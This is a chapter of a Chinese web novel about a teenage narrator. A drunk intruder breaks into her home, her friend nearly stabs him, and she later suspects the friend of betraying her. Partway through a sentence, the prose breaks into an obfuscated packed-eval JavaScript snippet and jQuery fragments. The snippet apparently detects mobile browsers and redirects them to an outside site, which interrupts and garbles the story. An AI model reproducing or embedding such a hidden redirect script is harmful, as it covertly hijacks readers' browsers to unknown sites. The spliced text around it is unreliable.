子受 作品

45. 第 45 章

陈州并非一向如此稳重的,他也有过冲动的时候,比如那一次,他差点杀了人。


再次见到沈文龙,是某个沉眠的深夜。


我把老师留的作业都写完之后,又把前几天的单词复习一遍才上床睡觉。那时已经将近十二点了,榆中高压的生活让我基本告别了失眠,甚至最近连恨海情天的言情小说都已经戒了,头一沾枕头就睡。


所以当门外的躁动传来时,我也迷迷糊糊地分不清是几点。


黑夜里,那窸窸窣窣的声音怪物的喘息,我从梦里惊醒,立马就绷紧了神经。


是门被推开的声音。


我们家的门上开了一扇窗,可以推开,这样手就能伸到里面把锁打开。


小时候,我还总是隔着这扇小窗和陈州说话,现在它却成了我安全的缺口。


脚步声渐进,我不知道门外是谁,不知道他要做什么,只能把房间的门上锁,然后从书桌上拿一把尖刀握在手里做防身的工具,坐在墙角,尽量不让自己那么发抖。


那人开始推门,推了几下没有推动,就开始砸门,一张口,就把我带回到那个无比沉痛的深渊里。


“小羌,开门,沈叔叔来看你了。”


沈文龙的声音醉醺醺的,应该是喝了酒,半夜找到这里来的,可就是这样的他,依然让我浑身颤抖地握不住手里用来防身的“武器”。


我想吐,想要开门把剪刀插进他的喉管里。


这个想法一旦滋生就开始没完没了地在我脑中闪现,我知道我可以,他现在在醉着,脚步虚浮,没有什么行动能力,只要开门,我就可以杀了他,只要开门……


“嘭!”的一声,把我的思绪硬生生扯断。


我被应激地从地上站起来,不小心碰到了灯的开关,房间一下子亮堂起来,我也看见了外面的场景,是陈州,一拳打在了沈文龙脸上,把他打倒在了地上。


陈州还不满足,半跪在地上,拳头一下下砸在他脸上,身上,我站在门前,冷冷看着伏在地上痛苦哀嚎的男人,没有阻拦这一切发生。直到,陈州把目光放在了一边茶几上的水果刀上时。


我刚察觉不对,陈州就已经握紧了刀,我知道他要做什么,先他一步跑了出去,挡在沈文龙面前,抱住他的腰拦住他。


“陈州,别这样……”


他的脚下还在使力,想要挣脱我,声音冷硬的像是块顽石:“谢羌,你放开我。”


“你要杀了他吗?陈州,你杀了他你怎么办,你才十七岁,你的以后你都不管了吗?你要是因为他做了错事,想没想过我?”我哭着抱住他,他的腰那么细,他的身体那么单薄,他的年纪那么小,他的生命,那么脆弱。


“陈州,我只有你了,我只想让你好好的,我想和你一起上大学,去北京,你别丢下我,我求你了……”


我哭得上气不接下气,慢慢软了身体,跪倒在地上,远离了他的心跳。


陈州,你要我怎么办呢。我知道,如果你没有来,我一定会克制不住自己用那把剪刀捅进他的身体。可是我不能让你那么做,我不能失去你。


你怎么忍心让我失去你?


陈州因喘息而颤抖的声音逐渐平静下来,我感到有什么东西落在地上,是那把刀,我感觉有什么东西落在我的身上,是他的泪。


他慢慢慢慢地蹲下来,抱住跪在地上的我,重复着跟我说对不起。


我不知道他对不起什么,陈州从来没有对不起过我,从小到大,从我们出生到死亡,没有一件事,值得他跟我说对不起。


陈州,我的陈州。


他什么都不说,不发一言,只是在我怀里轻轻颤抖。你很无力是吗?我也一样的。


我们实在不能赌上自己的未来去赔给这么一个混蛋,对于他,无论我们多么恨,都不能擅自审判。


这件事折腾到最后的结果是我给我妈打了电话,让她过来把那个男人带走。


我妈来的时候显然是风尘仆仆,她不知道什么时候学会了开那种汽车。


总之,无论是之前还是之后,我都几乎没见过我妈那副衣冠不整的样子,穿着睡衣,身上披着一件大衣就匆忙赶来了。


陈州让我进房间,自己坐在外面和我妈对峙。


我妈看见他也有些诧异,问道:“你怎么在这儿?”


“你难道不该问问这个人为什么在这里吗?”陈州盯着我妈的眼睛,声音仿佛不是个高中生,像是已经长大,然后独当一面。


“谢羌呢?”


“你把他弄走就行。”


我妈也在看着陈州,她把目光挪向倒在地上的沈文龙,问他:“是你打的?”


陈州点点头,很大方的承认了,我没有听见我妈的回答,不知道她说了什么。只是一阵嘈杂过后,客厅里的灯重新熄灭了,陈州推开我房间的门,走过来抱住我。


他身上还是那股冷冷清清的薄荷香味,灌进我的鼻腔里,让我觉得无比安心。


他分明比我要高大许多,可我觉得,陈州比我更要脆弱。


他是个没有韧性的长刀,只能折,不能弯。他拿起刀的那一刻,我的眼底好像又糊上一片血色,仿佛看见沈文龙死在我的眼前,看见我们彻底挣脱。


也看见陈州的未来从此被断送。


我知道他不在乎。


我一直以为,只要我们考上大学,远走他乡,以后就全都是光明灿烂的生活,而我们据此,也不过一步之遥。


我以为我马上就要挣脱了,逃跑了的时候,命运总擅长在这时给我当头一棒。


我和陈州的幼稚的爱情也没有开花结果,茁壮成长,他先背叛了我。是的,这个不惜为了我奉献生命和未来的人,背叛了我。


和所有狗血小说狗血电视剧一样,发现这件事是源自于他身上弥漫的别的味道。那股浓香覆盖掉他身上惯有的薄荷香味,变得呛鼻又恶心。


作为当事人的他,竟然浑然不觉。


陈州靠着我的肩,和以前一样悄悄握住我的手,看着我的试卷讲题。


我完全没有听下去,脑子里被那股香味搅得混沌一团,想要问他,可无奈自己不够聪明,不知道该怎么使用迂回战术。


直到预备铃响起,陈州用笔敲了我一下:“想什么呢,脑子飞掉了?”


我皱了皱鼻子,拿着试卷跑回去,对他说:“你身上好重的味道,呛死了。”


我决定要一探究竟。


我想知道,每天不和我一起回家的陈州,究竟去做什么了。


那天放学我故意早离开一点,等着陈州。高三的放学铃声并不管什么用,即使响了


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309022|164774||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


,从教学楼里出来的人也是稀稀拉拉的,我很容易就捕捉到人群里最鹤立鸡群的那道身影。


他的身边,如我所料,是安娜。


我不知道怎么形容那一刻的心情,从嗅到他身上恶心的味道开始,我就知道是谁。


安娜和我同桌两年,我都没有染上她身上的香味,可是陈州身上就是有。我的心中浮现无数的猜测,从什么时候开始,那次暑假吗?他们是不是在呼机上传讯,他们都会聊什么呢?


陈州,你可真是个混蛋。


我没有冲出去在这个满溢着书香气的教学楼下质问他们,而是像个小偷一样,鬼鬼祟祟跟在他们后面,看见安娜坐上陈州的自行车,两个人一起出了校门。


不得不承认,陈州和谁站在一起都是如此的俊男靓女,让人感沛。


我可耻点跟在他们后面,安娜带着陈州到了一个类似迪厅还是酒吧的地方,我不清楚,只知道里面躁动的音乐刺的耳膜生疼,或红或绿的灯光闪烁,从厚重的金属门里溢出来。


里面有人出来,是醉醺醺的中年男人,还有染着鲜艳头发的社会青年。我没有勇气走进去,于是只好把自己缩在角落,所有人都看不到的阴影里,慢慢蹲下裹紧自己。


我想过无数种可能,想过陈州出来我该要怎么质问他,是不是还要扇他一个巴掌,借此发泄自己的不满。


可是真的等他出来以后,我却像失去了所有勇气,在他面前,更像是一个摇尾乞怜的流浪猫狗。不,不是摇尾乞怜,更像是反目成仇。


陈州是出来透气的,他的校服外套留在里面,身上只穿了一件白短和校裤,站在门外,和那些混混一样熟练地点起一支烟。


我走过去,看着他,把他一闪而过的惊讶和慌乱尽收眼底。那只刚被点燃的烟还没来得及抽上一口,就被他掐灭在手里,然后对我笑了笑:“谢羌啊,你来了。”


好像什么事都没有发生。


我仰头看他,绚丽的灯光也遮不住他因为贫血而泛着苍白的脸,致使那个笑容也显得格外让人心疼。


“陈州,你不该给我个解释吗?”我说道,好像听不到自己的声音,继续咄咄逼人:“你说你爸出事了,你是在这里照顾他的吗?”


陈州想要过来拉我,我盯着他,还能敏锐地避开他递过来的手,同时眼泪还在往下流。


“我说怎么这么久还不回来,原来是小女友找过来了呀。”阶梯上传来一道声音,我和陈州一起看过去,正对上安娜那张戏谑的面孔。


“好同桌,你是跟着我来的,还是跟着他来的?”安娜走过来,朝我抬了抬下巴,“要不要进去,我请你喝点儿。”


我转头狠狠地瞪她,这眼神足以称得上怨毒,咬着牙对她说:“这是我们俩的事,跟你没关系!”


安娜无所谓地耸耸肩,又摊摊手,最后看着陈州,却是在对我说话:“那你让他选,跟你走还是留下来?”


我忽然觉得这个问句真是可笑。


我们十七岁,应该思考的问题是圆锥曲线和几何图形,又或者是向心力和动能势能,而不是在这里问一个人,你跟谁走。


可我就是这样做了,幼稚,可笑,回头想起都会尴尬地颤抖的事,我就是这样做了。


而且这个故事里的男主角,并没有选我。